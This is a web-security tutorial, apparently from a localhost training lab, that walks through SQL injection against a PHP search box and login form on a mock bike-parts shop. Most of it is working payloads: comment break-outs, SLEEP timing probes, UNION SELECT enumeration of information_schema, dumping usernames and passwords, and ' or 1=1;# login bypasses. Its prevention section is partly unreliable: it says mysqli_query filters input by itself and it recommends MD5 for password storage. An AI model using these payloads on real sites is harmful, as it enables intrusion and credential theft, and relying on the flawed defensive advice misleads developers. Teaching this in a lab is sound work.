In this module we would be learning “How can we exploit Data stored in Database of a Website”

There are big companies getting hit by SQL Injection all the time still in 2017. If the company is not smart enough, all their usernames and passwords are out on internet. And its bad news for the company as well as for the attacker who is involved because it is super illegal and attacker would probably end up in jail. I am doing it on my own website which is allowed because I have given permission to myself. If you have got an interest in Web Development, you will learn just how bad it is, if you mess things up.

Click on the “[EXPLOIT WEBSITE](http://localhost/hardware/home.html)” link in the navigation bar. Click on “Search”. The following page will be displayed:

Searchbar.png

As we can see in the URL, it says its a PHP page, great. And if we go through the website itself, we can know that this is Vintage Bike Parts Selling website. Now we have to things in terms of what are the parts of a bike: brake, tire/wheel, saddle, handle etc.

Let’s start with searching for “brake”. If you get any output that’s great, if not then try searching with a different string. The output might look like:

Brakeoutput.png

Also, try searching with an empty string. There are chances that it might display all the specified records of a table. Which will be true in this website’s case.

When we type “brake” and press Enter, a GET request goes to the PHP server. The server receives it and constructs an SQL query that says give any rows that have brake in them. And then asks the database about those rows and display them out on screen. Now the problem is if we put a special command as parameter and if it make sense as a query or queries, now this query will be given to database by PHP to execute.

Now what can we do to attack this. First think little about what the query might be behind the scenes so that we can adjust it. Open any text editor or SQL console that do text markup as you change query for visualizing and writing query. It’s a search box, its searching through the table and giving you output. Yup, it’s a “Select” query. Let’s refer “?” as something. So the query might be like:

SELECT ?(some field/fields) FROM ?(some table name) WHERE ?(some field) LIKE ‘brake’;

Now think about how many columns it is displaying. In our case there are 3 columns. So now, query should be like:

SELECT ?,?,? FROM ? WHERE ? LIKE ‘brake’;

Go back to the search box. Now, if you search for “ak” which is a sub string of “brake”, then also you are getting an output. This means there should be wildcards with before and after the string. This functionality can be performed in SQL using “%”.

SELECT ?,?,? FROM ? WHERE ? LIKE ‘%brake%’;

This is our generic query. Now we only have control over the search string, in our case “brake”, we can’t change the rest of the query because that is in backend PHP code that already has been coded.

Now try changing the search string in your text editor, like input single quote (‘) instead of “brake”:

SELECT ?,?,? FROM ? WHERE ? LIKE ‘%’%’;

Now this means, I am closing the beginning wildcard the last two character are just sitting on their own. This would create a SQL query syntax error because this is not a valid query. Try typing single quote (‘) in search box and read the Error that page displays.

Now think what should you change the single quote (‘) to get information form database. Well its and syntax error, first question should be which Database Management System is this website using. (Hint: Use nmap command or go to their career link and check out the job section). For our case it’s MYSQL.

Now trying commenting rest of the query. As we discussed in our previous section, we can “#” to comment. As you will observe in your text editor that the syntax after “#” might be getting grey. If we use “#” directly will just comment out the rest of the query which will make my query as invalid. I also need to supply closing syntax for the query before “#”. The input will be like parameter string, wildcard, closing single quote and “#”. For example:

SELECT ?,?,? FROM ? WHERE ? LIKE ‘%brake%';#%’;

Try “brake%';#” as search string in the website.

Brakeoutput.png

It gave us the same output as “brake” was giving. Great! We were able to manipulate the server by our own query. Also try for “%';#”, “';#”.

Let’s use SLEEP functionality of MYSQL. What SLEEP does is, it makes your server go in sleep mode. The SLEEP syntax might change for different Database Management Systems. The query would look like:

SELECT ?,?,? FROM ? WHERE ? LIKE ‘%%' AND 1 = SLEEP(2);#%’;

Use ”%' AND 1 = SLEEP(2);#” as string for searching. Now it makes your query sleep for 2 seconds.

Try using ”brake%' AND 1 = SLEEP(2);#” as string for searching. Did it return the two brake values? No, it did not, might be because of some syntax error, but it waited for some second before returning me an empty result. So it’s partially running. Why did we bother using SLEEP? Because if you modify the query to search for a particular table and if it delays, you can guess that the table exist on server. This is used as a blind technique as you don’t know what is happening at backend, but still you are able to make out that if something exist or not.

This is a start, now what do we put in as well to get other information from the database. For start, try putting something that will occur for sure. Like:

SELECT ?,?,? FROM ? WHERE ? LIKE ‘%brake%' UNION (SELECT 1,2,3 from dual);#%’;

“[UNION](https://dev.mysql.com/doc/refman/5.7/en/union.html) is used to combine the result from multiple [SELECT](https://dev.mysql.com/doc/refman/5.7/en/select.html) statements into a single result set.” – MYSQL.com

In other words, UNION takes two select queries and make one stick on top of the other. Dual is a dummy table name where no tables are referenced. The reason we used 1,2,3 as we are only getting three columns in our previous output. So we want to make sure that number of columns are same for both the select query.

Try “brake%' UNION (SELECT 1,2,3 from dual);#” as your search string. Did our logic work?

Dual123.png

The above query appended 1, 2, and 3 at the end of the output. It works! That is bad news for the Web Development team. Now we know we can output other queries as well. If we want to do some destruction, we can append a DROP query at the end make it drop tables. We won’t be using drop tale query as there are others too who are practicing on the same database but you can try that out with creating a dummy database in your MYSQL and appending a drop statement at the end of select query.

Officially we are just few steps away from full on access to usernames and passwords. Now instead of selecting from dual, let’s select form “information\_schema”. There is table in Information Schema called tables that will tell us all tables’ information like name of the table and what columns they have. In brief, “information\_schema” is a tables of tables (metadata table) that holds all information on all the tables.

SELECT ?,?,? FROM ? WHERE ? LIKE ‘%brake%' UNION (SELECT TABLE\_NAME,TABLE\_SCHEMA,3 from information\_schema.tables);#%’;

Try inputting “brake%' UNION (SELECT TABLE\_NAME,TABLE\_SCHEMA,3 from information\_schema.tables);#” in our search box.

All database and table .png

Jackpot! We got information about all databases and tables that are present in MYSQL (The database and table information may change as some of the databases and tables might get removed or modified). It literally just put all the information underneath the first select result. The reason we are using “3” as a field in select because we want to make sure the number of columns are equal for both the select queries. You might also have observed that while typing it in a text editor, the color code might have changed which might prove that syntax is correct or not, it might also give suggesting while you are typing the query. So that helps a lot in exploring other exploits.

Observe the names of the tables displayed. For example, a table named something like ”items” might have details about all the items that this website sell, same way a table named something like “users” might contains details about the users. Let’s see if we have a table named “users”. Yup, we have a table named users. I would recommend you going through all table names and trying finding out which table’s names looks like they might give you potential information that can be used as an exploit.

Now how to get schema or columns information of the “user” table. Well the same way we got information about all the tables but with few changes, in terms, of column names, a where clause and the table we refer in “information\_schema”.

SELECT ?,?,? FROM ? WHERE ? LIKE ‘%brake%' UNION (SELECT COLUMN\_NAME,2,3 from information\_schema.columns where TABLE\_NAME='users');#%’;

Try inputting “brake%' UNION (SELECT COLUMN\_NAME,2,3 from information\_schema.columns where TABLE\_NAME='users');#” in our search box.

Userstable.png

Great! Now we have all column names of “users” table. Remember, we can only select three columns at a time. Let’s try with “username”, “password ” and “type ”. So our query would now look like:

SELECT ?,?,? FROM ? WHERE ? LIKE ‘%brake%' UNION (SELECT username, password, type from users);#%’;

Input “brake%' UNION (SELECT username, password, type from users);#” as your search string.

Usernamepassword.png

Neat! We got all the usernames, passwords and type of user. If you are a penetration tester you would stay away from admins but you can exploit other user’s information.

We just saw how we can exploit a WEB SERVER.

Try exploring other TABLES.

How to prevent your Website from SQL Injection:

Always filter the data before sending it to your database.

This website uses an old version of PHP which used a syntax like “mysql\_query(write your query here)” . “mysql\_query()” just takes the query with the parameter and send it to the database without any filtering.

This problem has been solved in PHP 7. PHP 7 uses mysqli\_query() instead of “mysql\_query()”. The “i” made the difference. It filters the query before sending it to the database. If you try to use “mysql\_query()” in PHP 7, it would give you an error .

There are other ways to pass a query to a database and these method can be implemented to all Database Management Systems and Server Side Languages.

Before inserting your password, encrypt it or create a hash code by using MD5 or SHA any. So the database will store MD5 or SHA instead of plain text for password. When a user logs in, convert the Client side password text to MD5 or SHA and then use SELECT query for matching if the password matches or not. This would prevent anyone from knowing your users password, if in case your database gets exploited. The reason you should hash or encrypt a password because users might use same password for different web logins or there could be some connection between their other passwords.

There is also a concept of Prepared Statements in Server Side Languages. What Prepared Statement does is it use ”?” instead of directly putting the string from client in query. It first checks all the data provided by client can be understood by SQL or not. If the check passes it then replace the “question mark” with input string. For example:

$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");  
$stmt->bindParam(1, $name);  
$stmt->bindParam(2, $value);

The magic happens in bindParam.

Explore More about Prepared Statements in PHP.

In this module we will be learning “How to Login without knowing Username and Password”.

Click on the “[EXPLOIT WEBSITE](http://localhost/hardware/home.html)” link in the navigation bar. Click on “Sign In”. The following page will be displayed:

Login.png

Now what can we do to attack this. Any input channel can be used to send the malicious commands, including <input> elements, query strings, cookies and files. First think little about what the query might be behind the scenes so that we can adjust it. Open any text editor or SQL console that do text markup as you change query for visualizing and writing query. It’s a login page, it’s going to looks if the given username and password exist in the database or not. So, how can we do such functionality using SQL? Yup, it’s a “Select” query. Let’s refer “?” as something. So the query might be like:

SELECT ?(username),?(password) FROM ?(some table name) WHERE ?(username) = ‘?(username input)’ AND ?(password) = ‘?(password input)’;

Let’s simplify the above query:

SELECT username, password FROM users WHERE username=’username input’ AND password=’password input’;

We are assuming that table name might be “users” and columns names are like what we assumed. It’s fine, you can assume any names. SQL injection usually occurs when you ask a user for input, like their username/userid, and instead of a name/id, the user gives you an SQL statement that you will **unknowingly** run on your database.

Let’s try a little bit of brute force. Try inputting username as “admin” and password as “admin123”. There are also so many other combination that one could try, some of them could be:

admin, password

admin, password123

admin, passw0rd

admin, passw0rd123

Did they work? No, then that means we have to try a smart way of logging in. Try some of your own combination.

Let’s try something else. We know that “1=1” or “2=2” condition or check is always true. Let’s try inputting it in username and password. We need to know how the SQL query syntax is used in backend. Therefore, let’s see how a login query might look in backend:

$query = "SELECT \* FROM users WHERE username='username' AND password='password'";

mysql\_query($query);

This is a PHP syntax. In this example, the query is returning every filed in a table, but if you are a Web Developer, never output anything that is not required. The attacker can write a script and might be able to print out the returning value, which in this example would be every columns of that table.

We don’t know the username and password, if we try inputting our own that returns false. What can we do to make it True? We could give it one more check to preform that will always be true. How to combine the two, use “OR”. You can use any valid string as username and password, we would be using “105” for username and password.

SELECT username, password FROM users WHERE username=’105' or '1'='1’ AND password=’ 105' or '1'='1’;

Try -> 105' or '1'='1 as username and password. Did it work?

Login 105 1-1.png

Jackpot! We are logged in and can access the services that other user’s access. Let’s not stop here, let’s try some other variant.

Let’s start with removing 105 from our input. Did it still work? Yup, it did. Why? Because the username in SQL would be empty but we also have another condition to counter balance and return true.

Or 1-1.png

We know that “1=1” always return true. Are there any other conditions like this one? Yes there are. We would be discussing one more here. Well if “1=1” then we can be lazy and say that an empty string is equal to an empty string, which is true. Let’s give it a try and first visualize what our query might look like?

SELECT username, password FROM users WHERE username=’ ' or ''='’ AND password=’ ' or ''='’;

Take care of the number of inverted commas, there are two inverted commas already for username and now we are putting two empty string, so that would make 6 inverted commas for just username and another 6 for password.

Try -> ' or ''=' as input for username and password. Did it work?

Empty string.png

Try discovering other conditions that are always true.

As we discussed in our previous section, we can use “#” to comment. As you will observe in your text editor that the syntax after “#” might be getting grey. If we use “#” directly will just comment out the rest of the query which will make my query as invalid. I also need to supply closing syntax for the query before “#”. The input will be like parameter string, wildcard, closing single quote and “#”. For example:

SELECT username, password FROM users WHERE username=’’#;’ AND password=’password input’;

Try -> ’#; as input. Now remember there might be a client side code that might be checking if the fields are empty or not. Therefore input anything in password field so that we can pass the client side check. Did it work? No, it did not, because our query is returning false as there is no username in table with empty field. We need to supply a condition which is always true like “1=1”.

SELECT username, password FROM users WHERE username=’ ' or 1=1;#’ AND password=’password input’;

Try -> ' or 1=1;# as input for username and any string as password. Did it work?

Login comment.png